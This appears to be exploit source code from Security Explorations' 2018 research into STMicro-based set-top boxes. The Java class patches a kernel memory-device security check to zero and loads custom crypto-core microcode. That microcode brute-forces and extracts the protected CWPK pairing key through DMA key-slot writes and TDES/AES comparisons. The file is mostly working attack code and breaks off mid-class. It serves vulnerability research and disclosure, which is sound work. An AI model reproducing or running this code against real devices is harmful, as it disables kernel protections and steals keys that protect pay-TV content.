/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

import java.lang.*;
import java.io.*;

public class STTKDMA {
 public static final String STTKDMA_DEVICE = "/tmp/sttkdma_ioctl";

 public static final int BASE      = 0xFE248000;

 public static final int IOBASE    = 0xFE000000;

 public static final int DATA      = 0x4000;
 public static final int CODE      = 0x6000;

 public static final int CODE_SIZE = 0x2000;

 public static final int INPUT     = DATA+0x140;
 public static final int OUTPUT    = DATA+0x150;
 public static final int KEYS      = 0x3420;

 public static final int RUNSTATE  = 0x01fc;

 public static final int copAES    = 0x00f54000;
 public static final int copTDES   = 0x00fa4000;

 public static final int waitAES   = 0x008d8abc;
 public static final int waitTDES  = 0x008e1abc;

 public static final int SCK_KEY   = 0x00;
 public static final int CWPK_KEY  = 0x00;
 public static final int CWPK1_KEY = 0x01;
 public static final int MAGIC_KEY = 0x15;
 public static final int REGS      = 0xff;

 public static final int ENCRYPT   = 0x00;
 public static final int DECRYPT   = 0x01;

 public static final int KEY_CWPK  = 0x05;
 public static final int KEY_ID    = 0xf0;

 public static final int MAGIC_IDX = 0x05;

 public static final int MAXKEY    = 0x08;

 public static final int CW_BASE_KEY_IDX = 0x20;

 public static final int tkd_code[] = {
  0x00e61234, //mov r6,#1234 TKD_CMD_HI
  0x00e55678, //mov r5,#5678 TKD_CMD_LO
  0x00e00000, //mov r0,#0000
  0x00756210, //mov r5,(r6<<16)|r5
  0x00e00000, //mov r0,#0000
  0x00fa4000, //COPINS
  0x00e00000, //mov r0,#0000
  0x000f053c, //mov r15,r5
  0x00e00000, //mov r0,#0000
  0x008e1abc, //WAITINS
  0x00e00000, //mov r0,#0000
  0x00af0050, //ld r15,[r0,0050]
  0x00af0051, //ld r15,[r0,0051]
  0x00af0052, //ld r15,[r0,0052]
  0x00af0053, //ld r15,[r0,0053]
  0x00e00000, //mov r0,#0000
  0x008e1abc, //WAITINS
  0x00e00000, //mov r0,#0000
  0x00b0f054, //st r15,[r0,0054]
  0x00b0f055, //st r15,[r0,0055]
  0x00b0f056, //st r15,[r0,0056]
  0x00b0f057, //st r15,[r0,0057]
  0x00e00000  //mov r0,#0000
 };

 public static final int get_cwpk_code[]={
  0x00000148,    // opcodes length
  //.code
  0x008c05f6,    // 0x05b7  j   start
  0x00741ce0,    // 0x05b8  mov   r4,(r1>>0)&0x7f         ;1st 7 bits
  0x00751ce7,    // 0x05b9  mov   r5,(r1>>7)&0x7f         ;2nd 7 bits
  0x00761cee,    // 0x05ba  mov   r6,(r1>>14)&0x7f        ;3rd 7 bits
  0x00771cf5,    // 0x05bb  mov   r7,(r1>>21)&0x7f        ;4th 7 bits
  0x00144001,    // 0x05bc  shl    r4,r4,#1
  0x00155009,    // 0x05bd  shl    r5,r5,#9
  0x00166011,    // 0x05be  shl    r6,r6,#17
  0x00177019,    // 0x05bf  shl    r7,r7,#25
  0x0001043c,    // 0x05c0  mov    r1,r4
  0x00211500,    // 0x05c1  add    r1,r1,r5,#0000
  0x00211600,    // 0x05c2  add    r1,r1,r6,#0000
  0x00211700,    // 0x05c3  add    r1,r1,r7,#0000
  0x00840d00,    // 0x05c4  jmp r13
  0x00741c20,    // 0x05c5  mov   r4,(r1>>0)&0x01         ;bit 0
  0x00751c21,    // 0x05c6  mov   r5,(r1>>1)&0x01         ;bit 1
  0x00761c22,    // 0x05c7  mov   r6,(r1>>2)&0x01         ;bit 2
  0x00771c23,    // 0x05c8  mov   r7,(r1>>3)&0x01         ;bit 3
  0x00155008,    // 0x05c9  shl    r5,r5,#8
  0x00166010,    // 0x05ca  shl    r6,r6,#16
  0x00177018,    // 0x05cb  shl    r7,r7,#24
  0x0001043c,    // 0x05cc  mov    r1,r4
  0x00211500,    // 0x05cd  add    r1,r1,r5,#0000
  0x00211600,    // 0x05ce  add    r1,r1,r6,#0000
  0x00211700,    // 0x05cf  add    r1,r1,r7,#0000
  0x00840d00,    // 0x05d0  jmp    r13
  0x00fa4000,    // 0x05d1  copTDES
  0x000f033c,    // 0x05d2  mov  r15,r3
  0x008e15d3,    // 0x05d3  wait1 l1a
  0x00d00004,    // 0x05d4  rpt 4
  0x000f003c,    // 0x05d5  mov r15,r0
  0x008e15d6,    // 0x05d6  wait1 l2a
  0x00040f3c,    // 0x05d7  mov r4,r15
  0x00050f3c,    // 0x05d8  mov r5,r15
  0x00060f3c,    // 0x05d9  mov r6,r15
  0x00070f3c,    // 0x05da  mov r7,r15
  0x00840d00,    // 0x05db  jmp   r13
  0x00f54000,    // 0x05dc  copAES
  0x000f033c,    // 0x05dd  mov  r15,r3
  0x008d85de,    // 0x05de  wait2 l1b
  0x00d00004,    // 0x05df  rpt 4
  0x000f003c,    // 0x05e0  mov r15,r0
  0x008d85e1,    // 0x05e1  wait2 l2b
  0x00040f3c,    // 0x05e2  mov r4,r15
  0x00050f3c,    // 0x05e3  mov r5,r15
  0x00060f3c,    // 0x05e4  mov r6,r15
  0x00070f3c,    // 0x05e5  mov r7,r15
  0x00840d00,    // 0x05e6  jmp   r13
  0x00a30069,    // 0x05e7  ld  r3,[r0+base]
  0x00d00090,    // 0x05e8  sync2
  0x00233200,    // 0x05e9  add r3,r3,r2,#0000
  0x00f00000,    // 0x05ea  opcode 0x00f00000	;put chip into DMA mode
  0x00d00090,    // 0x05eb  sync2
  0x00d00090,    // 0x05ec  sync2
  0x00af0068,    // 0x05ed  ld  r15,[r0+dmacmd]
  0x000f033c,    // 0x05ee  mov r15,r3		;addr
  0x000f043c,    // 0x05ef  mov r15,r4		;word 0
  0x000f053c,    // 0x05f0  mov r15,r5		;word 1
  0x000f063c,    // 0x05f1  mov r15,r6		;word 2
  0x000f073c,    // 0x05f2  mov r15,r7		;word 3
  0x00d00090,    // 0x05f3  sync2
  0x00d00090,    // 0x05f4  sync2
  0x00840d00,    // 0x05f5  jmp r13
  0x00e00000,    // 0x05f6  mov r0,#0000
  0x00a30050,    // 0x05f7  ld  r3,[r0+ARG0]
  0x00b00054,    // 0x05f8  st  r0,[r0+RES0]
  0x00b00055,    // 0x05f9  st  r0,[r0+RES1]
  0x00b00056,    // 0x05fa  st  r0,[r0+RES2]
  0x00b00057,    // 0x05fb  st  r0,[r0+RES3]
  0x00333000,    // 0x05fc  sub r3,r3,r0,#0000
  0x0098160b,    // 0x05fd  je  do_init
  0x00333001,    // 0x05fe  sub r3,r3,r0,#0001
  0x0098161d,    // 0x05ff  je  get_key0
  0x00333001,    // 0x0600  sub r3,r3,r0,#0001
  0x0098163f,    // 0x0601  je  get_key1
  0x00333001,    // 0x0602  sub r3,r3,r0,#0001
  0x00981661,    // 0x0603  je  get_key2
  0x00333001,    // 0x0604  sub r3,r3,r0,#0001
  0x00981683,    // 0x0605  je  get_key3
  0x00333001,    // 0x0606  sub r3,r3,r0,#0001
  0x009816a5,    // 0x0607  je  get_complete_key
  0x00333001,    // 0x0608  sub r3,r3,r0,#0001
  0x009816eb,    // 0x0609  je  get_cwpk
  0x008c06ff,    // 0x060a  j   exit
  0x00ed060e,    // 0x060b  mov r13,#ret1
  0x00a30064,    // 0x060c  ld  r3,[r0+inittkdcmd]
  0x008c05d1,    // 0x060d  j   runtkdcmd_tdes            ;initialize key slot 0x15 with the result of decrypting CWPK with SCK
  0x00ed0611,    // 0x060e  mov r13,#ret2a
  0x00a30065,    // 0x060f  ld  r3,[r0+tkdcmd]		  ;decrypt given plaintext sequence with unknown (valid) key slot 15
  0x008c05d1,    // 0x0610  j   runtkdcmd_tdes
  0x00b04058,    // 0x0611  st  r4,[r0+REF0TDES]          ;save target (reference) crypto result
  0x00b05059,    // 0x0612  st  r5,[r0+REF1TDES]
  0x00b0605a,    // 0x0613  st  r6,[r0+REF2TDES]
  0x00b0705b,    // 0x0614  st  r7,[r0+REF3TDES]
  0x00ed0618,    // 0x0615  mov r13,#ret2b
  0x00a30065,    // 0x0616  ld  r3,[r0+tkdcmd]            ;decrypt given plaintext sequence with unknown (valid) key slot 15
  0x008c05dc,    // 0x0617  j   runtkdcmd_aes
  0x00b0405c,    // 0x0618  st  r4,[r0+REF0AES]           ;save target (reference) crypto result
  0x00b0505d,    // 0x0619  st  r5,[r0+REF1AES]
  0x00b0605e,    // 0x061a  st  r6,[r0+REF2AES]
  0x00b0705f,    // 0x061b  st  r7,[r0+REF3AES]
  0x008c06ff,    // 0x061c  j   exit
  0x00ab006a,    // 0x061d  ld  r11,[r0+maxkeyval]        ;start key val
  0x00e00000,    // 0x061e  mov r0,#0000
  0x00010b3c,    // 0x061f  mov r1,r11                    ;input 28bit key val
  0x00ed0622,    // 0x0620  mov r13,#retl1a
  0x008c05b8,    // 0x0621  j key28tokey32                ;convert 28 bit key val to 32 bit one
  0x00e23464,    // 0x0622  mov r2,#0x3464                ;target key mem location to start writing key data
  0x00a4006e,    // 0x0623  ld  r4,[r0+dummy]             ;-> 3464
  0x00a5006e,    // 0x0624  ld  r5,[r0+dummy]             ;-> 3468
  0x00a6006e,    // 0x0625  ld  r6,[r0+dummy]             ;-> 346c
  0x0007013c,    // 0x0626  mov r7,r1                     ;-> 3470
  0x00ed0629,    // 0x0627  mov r13,#retl1b
  0x008c05e7,    // 0x0628  j   rundmacmd                 ;write key data with the use of DMA
  0x00ed062c,    // 0x0629  mov r13,#retl1c
  0x00a30067,    // 0x062a  ld  r3,[r0+dummytkdcmd]
  0x008c05d1,    // 0x062b  j   runtkdcmd_tdes            ;run dummy tkd cmd to init TKD core regs with key slot 0x14
  0x00ed062f,    // 0x062c  mov r13,#retl1d
  0x00a30065,    // 0x062d  ld  r3,[r0+tkdcmd]
  0x008c05d1,    // 0x062e  j   runtkdcmd_tdes            ;run tkd cmd to compare result with the reference value
  0x00a30058,    // 0x062f  ld  r3,[r0+REF0TDES]
  0x00e00000,    // 0x0630  mov r0,#0000
  0x003bb001,    // 0x0631  sub r11,r11,r0,#0001          ;decrease the key val
  0x0098161d,    // 0x0632  je  again1
  0x00344300,    // 0x0633  sub r4,r4,r3,#0000            ;compare the result value with a reference one
  0x009c161f,    // 0x0634  jne loop1                     ;continue loop if no matching value (key) found
  0x0021b001,    // 0x0635  add r1,r11,r0,#0001
  0x00ed0638,    // 0x0636  mov r13,#retl1e
  0x008c05b8,    // 0x0637  j key28tokey32                ;convert 28 bit key val to 32 bit one
  0x00a3006c,    // 0x0638  ld  r3,[r0+invalidkey]
  0x00e00000,    // 0x0639  mov r0,#0000
  0x00333100,    // 0x063a  sub r3,r3,r1,#0000
  0x0098161d,    // 0x063b  je  again1
  0x00b01060,    // 0x063c  st  r1,[r0+KEY0]              ;key0 result
  0x00b01054,    // 0x063d  st  r1,[r0+RES0]
  0x008c06ff,    // 0x063e  j   exit
  0x00ab006a,    // 0x063f  ld  r11,[r0+maxkeyval]        ;start key val
  0x00e00000,    // 0x0640  mov r0,#0000
  0x00010b3c,    // 0x0641  mov r1,r11                    ;input 28bit key val
  0x00ed0644,    // 0x0642  mov r13,#retl2a
  0x008c05b8,    // 0x0643  j key28tokey32                ;convert 28 bit key val to 32 bit one
  0x00e23468,    // 0x0644  mov r2,#0x3468                ;target key mem location to start writing key data
  0x00a4006e,    // 0x0645  ld  r4,[r0+dummy]             ;-> 3468
  0x00a5006e,    // 0x0646  ld  r5,[r0+dummy]             ;-> 346c
  0x00a60060,    // 0x0647  ld  r6,[r0+KEY0]              ;-> 3470
  0x0007013c,    // 0x0648  mov r7,r1                     ;-> 3474
  0x00ed064b,    // 0x0649  mov r13,#retl2b
  0x008c05e7,    // 0x064a  j   rundmacmd                 ;write key data with the use of DMA
  0x00ed064e,    // 0x064b  mov r13,#retl2c
  0x00a30067,    // 0x064c  ld  r3,[r0+dummytkdcmd]
  0x008c05d1,    // 0x064d  j   runtkdcmd_tdes            ;run dummy tkd cmd to init TKD core regs with key slot 0x14
  0x00ed0651,    // 0x064e  mov r13,#retl2d
  0x00a30065,    // 0x064f  ld  r3,[r0+tkdcmd]
  0x008c05d1,    // 0x0650  j   runtkdcmd_tdes            ;run tkd cmd to compare result with the reference value
  0x00a30059,    // 0x0651  ld  r3,[r0+REF1TDES]
  0x00e00000,    // 0x0652  mov r0,#0000
  0x003bb001,    // 0x0653  sub r11,r11,r0,#0001          ;decrease the key val
  0x0098163f,    // 0x0654  je  again2
  0x00355300,    // 0x0655  sub r5,r5,r3,#0000            ;compare the result value with a reference one
  0x009c1641,    // 0x0656  jne loop2                     ;continue loop if no matching value (key) found
  0x0021b001,    // 0x0657  add r1,r11,r0,#0001
  0x00ed065a,    // 0x0658  mov r13,#retl2e
  0x008c05b8,    // 0x0659  j key28tokey32                ;convert 28 bit key val to 32 bit one
  0x00a3006c,    // 0x065a  ld  r3,[r0+invalidkey]
  0x00e00000,    // 0x065b  mov r0,#0000
  0x00333100,    // 0x065c  sub r3,r3,r1,#0000
  0x0098163f,    // 0x065d  je  again2
  0x00b01061,    // 0x065e  st  r1,[r0+KEY1]              ;key0 result
  0x00b01054,    // 0x065f  st  r1,[r0+RES0]
  0x008c06ff,    // 0x0660  j   exit
  0x00ab006a,    // 0x0661  ld  r11,[r0+maxkeyval]        ;start key val
  0x00e00000,    // 0x0662  mov r0,#0000
  0x00010b3c,    // 0x0663  mov r1,r11                    ;input 28bit key val
  0x00ed0666,    // 0x0664  mov r13,#retl3a
  0x008c05b8,    // 0x0665  j key28tokey32                ;convert 28 bit key val to 32 bit one
  0x00e2346c,    // 0x0666  mov r2,#0x346c                ;target key mem location to start writing key data
  0x00a4006e,    // 0x0667  ld  r4,[r0+dummy]             ;-> 346c
  0x00a50060,    // 0x0668  ld  r5,[r0+KEY0]              ;-> 3470
  0x00a60061,    // 0x0669  ld  r6,[r0+KEY1]              ;-> 3474
  0x0007013c,    // 0x066a  mov r7,r1                     ;-> 3478
  0x00ed066d,    // 0x066b  mov r13,#retl3b
  0x008c05e7,    // 0x066c  j   rundmacmd                 ;write key data with the use of DMA
  0x00ed0670,    // 0x066d  mov r13,#retl3c
  0x00a30067,    // 0x066e  ld  r3,[r0+dummytkdcmd]
  0x008c05d1,    // 0x066f  j   runtkdcmd_tdes            ;run dummy tkd cmd to init TKD core regs with key slot 0x14
  0x00ed0673,    // 0x0670  mov r13,#retl3d
  0x00a30065,    // 0x0671  ld  r3,[r0+tkdcmd]
  0x008c05d1,    // 0x0672  j   runtkdcmd_tdes            ;run tkd cmd to compare result with the reference value
  0x00a3005a,    // 0x0673  ld  r3,[r0+REF2TDES]
  0x00e00000,    // 0x0674  mov r0,#0000
  0x003bb001,    // 0x0675  sub r11,r11,r0,#0001          ;decrease the key val
  0x00981661,    // 0x0676  je  again3
  0x00366300,    // 0x0677  sub r6,r6,r3,#0000            ;compare the result value with a reference one
  0x009c1663,    // 0x0678  jne loop3                     ;continue loop if no matching value (key) found
  0x0021b001,    // 0x0679  add r1,r11,r0,#0001
  0x00ed067c,    // 0x067a  mov r13,#retl3e
  0x008c05b8,    // 0x067b  j key28tokey32                ;convert 28 bit key val to 32 bit one
  0x00a3006c,    // 0x067c  ld  r3,[r0+invalidkey]
  0x00e00000,    // 0x067d  mov r0,#0000
  0x00333100,    // 0x067e  sub r3,r3,r1,#0000
  0x00981661,    // 0x067f  je  again3
  0x00b01062,    // 0x0680  st  r1,[r0+KEY2]              ;key0 result
  0x00b01054,    // 0x0681  st  r1,[r0+RES0]
  0x008c06ff,    // 0x0682  j   exit
  0x00ab006a,    // 0x0683  ld  r11,[r0+maxkeyval]        ;start key val
  0x00e00000,    // 0x0684  mov r0,#0000
  0x00010b3c,    // 0x0685  mov r1,r11                    ;input 28bit key val
  0x00ed0688,    // 0x0686  mov r13,#retl4a
  0x008c05b8,    // 0x0687  j key28tokey32                ;convert 28 bit key val to 32 bit one
  0x00e23470,    // 0x0688  mov r2,#0x3470                ;target key mem location to start writing key data
  0x00a40060,    // 0x0689  ld  r4,[r0+KEY0]              ;-> 3470
  0x00a50061,    // 0x068a  ld  r5,[r0+KEY1]              ;-> 3474
  0x00a60062,    // 0x068b  ld  r6,[r0+KEY2]              ;-> 3478
  0x0007013c,    // 0x068c  mov r7,r1                     ;-> 347c
  0x00ed068f,    // 0x068d  mov r13,#retl4b
  0x008c05e7,    // 0x068e  j   rundmacmd                 ;write key data with the use of DMA
  0x00ed0692,    // 0x068f  mov r13,#retl4c
  0x00a30067,    // 0x0690  ld  r3,[r0+dummytkdcmd]
  0x008c05d1,    // 0x0691  j   runtkdcmd_tdes            ;run dummy tkd cmd to init TKD core regs with key slot 0x14
  0x00ed0695,    // 0x0692  mov r13,#retl4d
  0x00a30065,    // 0x0693  ld  r3,[r0+tkdcmd]
  0x008c05d1,    // 0x0694  j   runtkdcmd_tdes            ;run tkd cmd to compare result with the reference value
  0x00a3005b,    // 0x0695  ld  r3,[r0+REF3TDES]
  0x00e00000,    // 0x0696  mov r0,#0000
  0x003bb001,    // 0x0697  sub r11,r11,r0,#0001          ;decrease the key val
  0x00981683,    // 0x0698  je  again4
  0x00377300,    // 0x0699  sub r7,r7,r3,#0000            ;compare the result value with a reference one
  0x009c1685,    // 0x069a  jne loop4                     ;continue loop if no matching value (key) found
  0x0021b001,    // 0x069b  add r1,r11,r0,#0001
  0x00ed069e,    // 0x069c  mov r13,#retl4e
  0x008c05b8,    // 0x069d  j key28tokey32                ;convert 28 bit key val to 32 bit one
  0x00a3006c,    // 0x069e  ld  r3,[r0+invalidkey]
  0x00e00000,    // 0x069f  mov r0,#0000
  0x00333100,    // 0x06a0  sub r3,r3,r1,#0000
  0x00981683,    // 0x06a1  je  again4
  0x00b01063,    // 0x06a2  st  r1,[r0+KEY3]              ;key0 result
  0x00b01054,    // 0x06a3  st  r1,[r0+RES0]
  0x008c06ff,    // 0x06a4  j   exit
  0x00ac006b,    // 0x06a5  ld  r12,[r0+maxloopval]       ;start loop idx
  0x00e00000,    // 0x06a6  mov r0,#0000
  0x0078cc80,    // 0x06a7  mov   r8,(r12>>0)&0x0f        ;bit seq for KEY0
  0x0079cc84,    // 0x06a8  mov   r9,(r12>>4)&0x0f        ;bit seq for KEY1
  0x007acc88,    // 0x06a9  mov   r10,(r12>>8)&0x0f       ;bit seq for KEY2
  0x007bcc8c,    // 0x06aa  mov   r11,(r12>>12)&0x0f      ;bit seq for KEY3
  0x0001083c,    // 0x06ab  mov   r1,r8
  0x00ed06ae,    // 0x06ac  mov   r13,#retl5a
  0x008c05c5,    // 0x06ad  j     key4tobitseq
  0x0008013c,    // 0x06ae  mov   r8,r1
  0x0001093c,    // 0x06af  mov   r1,r9
  0x00ed06b2,    // 0x06b0  mov   r13,#retl5b
  0x008c05c5,    // 0x06b1  j     key4tobitseq
  0x0009013c,    // 0x06b2  mov   r9,r1
  0x00010a3c,    // 0x06b3  mov   r1,r10
  0x00ed06b6,    // 0x06b4  mov   r13,#retl5c
  0x008c05c5,    // 0x06b5  j     key4tobitseq
  0x000a013c,    // 0x06b6  mov   r10,r1
  0x00010b3c,    // 0x06b7  mov   r1,r11
  0x00ed06ba,    // 0x06b8  mov   r13,#retl5d
  0x008c05c5,    // 0x06b9  j     key4tobitseq
  0x000b013c,    // 0x06ba  mov   r11,r1
  0x00a3006d,    // 0x06bb  ld    r3,[r0+keymask]
  0x00a40060,    // 0x06bc  ld    r4,[r0+KEY0]
  0x00a50061,    // 0x06bd  ld    r5,[r0+KEY1]
  0x00a60062,    // 0x06be  ld    r6,[r0+KEY2]
  0x00a70063,    // 0x06bf  ld    r7,[r0+KEY3]
  0x00444300,    // 0x06c0  and   r4,r4,r3
  0x00455300,    // 0x06c1  and   r5,r5,r3
  0x00466300,    // 0x06c2  and   r6,r6,r3
  0x00477300,    // 0x06c3  and   r7,r7,r3
  0x00544800,    // 0x06c4  or    r4,r4,r8
  0x00555900,    // 0x06c5  or    r5,r5,r9
  0x00566a00,    // 0x06c6  or    r6,r6,r10
  0x00577b00,    // 0x06c7  or    r7,r7,r11
  0x00b04060,    // 0x06c8  st    r4,[r0+KEY0]
  0x00b05061,    // 0x06c9  st    r5,[r0+KEY1]
  0x00b06062,    // 0x06ca  st    r6,[r0+KEY2]
  0x00b07063,    // 0x06cb  st    r7,[r0+KEY3]
  0x00e23470,    // 0x06cc  mov r2,#0x3470                ;target key mem location to start writing key data
  0x00ed06cf,    // 0x06cd  mov r13,#retl5e
  0x008c05e7,    // 0x06ce  j   rundmacmd                 ;write key data with the use of DMA
  0x00ed06d2,    // 0x06cf  mov r13,#retl5f
  0x00a30067,    // 0x06d0  ld  r3,[r0+dummytkdcmd]
  0x008c05dc,    // 0x06d1  j   runtkdcmd_aes             ;run dummy tkd cmd to init TKD core regs with key slot 0x14
  0x00ed06d5,    // 0x06d2  mov r13,#retl5g
  0x00a30065,    // 0x06d3  ld  r3,[r0+tkdcmd]
  0x008c05dc,    // 0x06d4  j   runtkdcmd_aes             ;run tkd cmd to compare result with the reference value
  0x00a8005c,    // 0x06d5  ld  r8,[r0+REF0AES]
  0x00a9005d,    // 0x06d6  ld  r9,[r0+REF1AES]
  0x00aa005e,    // 0x06d7  ld  r10,[r0+REF2AES]
  0x00ab005f,    // 0x06d8  ld  r11,[r0+REF3AES]
  0x003cc001,    // 0x06d9  sub r12,r12,r0,#0001          ;decrease the loop idx
  0x00344800,    // 0x06da  sub r4,r4,r8,#0000            ;compare the result value with a reference one
  0x009c16a7,    // 0x06db  jne loop5                     ;continue loop if no matching value (key) found
  0x00355900,    // 0x06dc  sub r5,r5,r9,#0000            ;compare the result value with a reference one
  0x009c16a7,    // 0x06dd  jne loop5                     ;continue loop if no matching value (key) found
  0x00366a00,    // 0x06de  sub r6,r6,r10,#0000           ;compare the result value with a reference one
  0x009c16a7,    // 0x06df  jne loop5                     ;continue loop if no matching value (key) found
  0x00377b00,    // 0x06e0  sub r7,r7,r11,#0000           ;compare the result value with a reference one
  0x009c16a7,    // 0x06e1  jne loop5                     ;continue loop if no matching value (key) found
  0x00a40060,    // 0x06e2  ld    r4,[r0+KEY0]
  0x00a50061,    // 0x06e3  ld    r5,[r0+KEY1]
  0x00a60062,    // 0x06e4  ld    r6,[r0+KEY2]
  0x00a70063,    // 0x06e5  ld    r7,[r0+KEY3]
  0x00b04054,    // 0x06e6  st    r4,[r0+RES0]
  0x00b05055,    // 0x06e7  st    r5,[r0+RES1]
  0x00b06056,    // 0x06e8  st    r6,[r0+RES2]
  0x00b07057,    // 0x06e9  st    r7,[r0+RES3]
  0x008c06ff,    // 0x06ea  j   exit
  0x00a40060,    // 0x06eb  ld  r4,[r0+KEY0]
  0x00a50061,    // 0x06ec  ld  r5,[r0+KEY1]
  0x00a60062,    // 0x06ed  ld  r6,[r0+KEY2]
  0x00a70063,    // 0x06ee  ld  r7,[r0+KEY3]
  0x00fa4000,    // 0x06ef  copTDES
  0x00af0066,    // 0x06f0  ld  r15,[r0+tkdcmd2]
  0x008e16f1,    // 0x06f1  wait1 l6a
  0x000f043c,    // 0x06f2  mov r15,r4
  0x000f053c,    // 0x06f3  mov r15,r5
  0x000f063c,    // 0x06f4  mov r15,r6
  0x000f073c,    // 0x06f5  mov r15,r7
  0x008e16f6,    // 0x06f6  wait1 l6b
  0x00040f3c,    // 0x06f7  mov r4,r15
  0x00050f3c,    // 0x06f8  mov r5,r15
  0x00060f3c,    // 0x06f9  mov r6,r15
  0x00070f3c,    // 0x06fa  mov r7,r15
  0x00b04054,    // 0x06fb  st  r4,[r0+RES0]
  0x00b05055,    // 0x06fc  st  r5,[r0+RES1]
  0x00b06056,    // 0x06fd  st  r6,[r0+RES2]
  0x00b07057,    // 0x06fe  st  r7,[r0+RES3]
  //.initdata
  0x0000001e,    // initdata length
  0x00004180,    // addr
  0x00000000,    // val
  0x00004184,    // addr
  0x00000000,    // val
  0x00004188,    // addr
  0x00000000,    // val
  0x0000418c,    // addr
  0x00000000,    // val
  0x00004190,    // addr
  0x15000001,    // val
  0x00004194,    // addr
  0xffff1500,    // val
  0x00004198,    // addr
  0xffff0000,    // val
  0x0000419c,    // addr
  0xffff1400,    // val
  0x000041a0,    // addr
  0x23104022,    // val
  0x000041a4,    // addr
  0xfe248000,    // val
  0x000041a8,    // addr
  0x0fffffff,    // val
  0x000041ac,    // addr
  0x0000ffff,    // val
  0x000041b0,    // addr
  0xfefefefe,    // val
  0x000041b4,    // addr
  0xfefefefe,    // val
  0x000041b8,    // addr
  0x11223344     // val
 };

 static int MEMDEV_SECURITY_CHECK;

 static int mem;
 static int iomem;

 static int handle;
 static int mopen;
 static int mclose;
 static int mread;
 static int mwrite;
 static int mread8;
 static int mwrite8;
 static int mread16;
 static int mwrite16;

 private static int GET_CHIPID_START_OFF; //0x01a3
 private static int GET_CHIPID_END_OFF;   //0x01a7
 private static int SLIM_CODE_END_OFF;    //0x05b7

 private static int chip_id;
// private static int rfs_cwpk[];
 private static int enc_cwpk[];
 private static int cwpk[];

 static boolean fixtestdone;
 static boolean fixedversion;

 static int[] curtkdimage;

 private static void patch_devmem() {
  switch(Config.BOXTYPE) {
   case Config.NBOX_2849ST:
   case Config.NBOX_2850ST:
    MEMDEV_SECURITY_CHECK=0x83e1047c;
    break;
   case Config.NBOX_2851S:
    MEMDEV_SECURITY_CHECK=0x83f3a8fc;
    break;
  }

  if (MEMDEV_SECURITY_CHECK!=0) {
   Kmem.write_dword(MEMDEV_SECURITY_CHECK,0);
   ApiMonitor.log("/dev/memdev security disabled");
  }
 }

 static {
  mem=NativeCode.getInstance().malloc(0x10);
  Utils.memset(mem,0,0x10);

  iomem=NativeCode.getInstance().malloc(0x10);
  Utils.memset(iomem,0,0x10);

  patch_devmem();

  handle=Dl.open_flags("libstd_drv_mem.so",Dl.RTLD_NOW|Dl.RTLD_NODELETE);
  mopen=Dl.getsym(handle,"MEM_Open");
  mclose=Dl.getsym(handle,"MEM_Close");
  mread=Dl.getsym(handle,"MEM_Read32");
  mwrite=Dl.getsym(handle,"MEM_Write32");
  mread8=Dl.getsym(handle,"MEM_Read8");
  mwrite8=Dl.getsym(handle,"MEM_Write8");
  mread16=Dl.getsym(handle,"MEM_Read16");
  mwrite16=Dl.getsym(handle,"MEM_Write16");

  int addr=BASE;
  int size=0x8000;

  Memory.write_dword(mem,addr);
  Memory.write_dword(mem+4,size);

  int res=NativeCode.getInstance().invoke(mopen,mem,0,0,0,0,0,0,0);
  ApiMonitor.log("mopen res: "+Utils.hex_value(res,8));

  calc_offsets();

  chip_id=read_publicid();
  init_pairing_key();

  init_cwpk1();

  addr=IOBASE;
  size=0x01000000;

  Memory.write_dword(iomem,addr);
  Memory.write_dword(iomem+4,size);

  res=NativeCode.getInstance().invoke(mopen,iomem,0,0,0,0,0,0,0);
  ApiMonitor.log("mopen iomem res: "+Utils.hex_value(res,8));
 }

 public static void init() {
 }

 public static int swap(int val) {
  int b1=(val)&0xff;
  int b2=(val>>8)&0xff;
  int b3=(val>>16)&0xff;
  int b4=(val>>24)&0xff;

  return (b1<<24)|(b2<<16)|(b3<<8)|b4;
 }

 private static void init_cwpk1() {
  int cwpk1[]=new int[4];

  for(int i=0;i<4;i++) {
   cwpk1[i]=swap(enc_cwpk[i]);
  }

  set_input(cwpk1);

  tkd_cmd(CWPK1_KEY,REGS,SCK_KEY,ENCRYPT);
 }

 private static void decrypt_cwpk() {
  tkd_cmd(MAGIC_KEY,CWPK_KEY,SCK_KEY,DECRYPT);

  int sck_decrypted_cwpk[]=get_key(MAGIC_IDX);

  set_input(sck_decrypted_cwpk);

  tkd_cmd(REGS,REGS,SCK_KEY,ENCRYPT);

  cwpk=get_output();

  int reverse_cwpk[]=new int[4];
  reverse_cwpk[0]=cwpk[3];
  reverse_cwpk[1]=cwpk[2];
  reverse_cwpk[2]=cwpk[1];
  reverse_cwpk[3]=cwpk[0];

  set_key(MAGIC_IDX+1,reverse_cwpk);
 }

 public static int load_cwpk_code() {
  return load_slim_image(get_cwpk_code);
 }

 public static void run_cwpk_code(int phase) {
  int args[]=new int[4];
  args[0]=phase;

  set_input(args);

  run_slim_image(get_cwpk_code);
 }

 public static int[] wait_for_tkdcode() {
  while(STTKDMA.tkdcode_running()) {
   Utils.sleep(1000);
  }

  return get_output();
 }

 public static void set_cwpk(int data[]) {
  cwpk=data;

  int reverse_cwpk[]=new int[4];
  reverse_cwpk[0]=cwpk[3];
  reverse_cwpk[1]=cwpk[2];
  reverse_cwpk[2]=cwpk[1];
  reverse_cwpk[3]=cwpk[0];

  set_key(MAGIC_IDX+1,reverse_cwpk);
 }

 public static boolean hascwpk() {
  return cwpk!=null;
 }

 private static void init_pairing_key() {
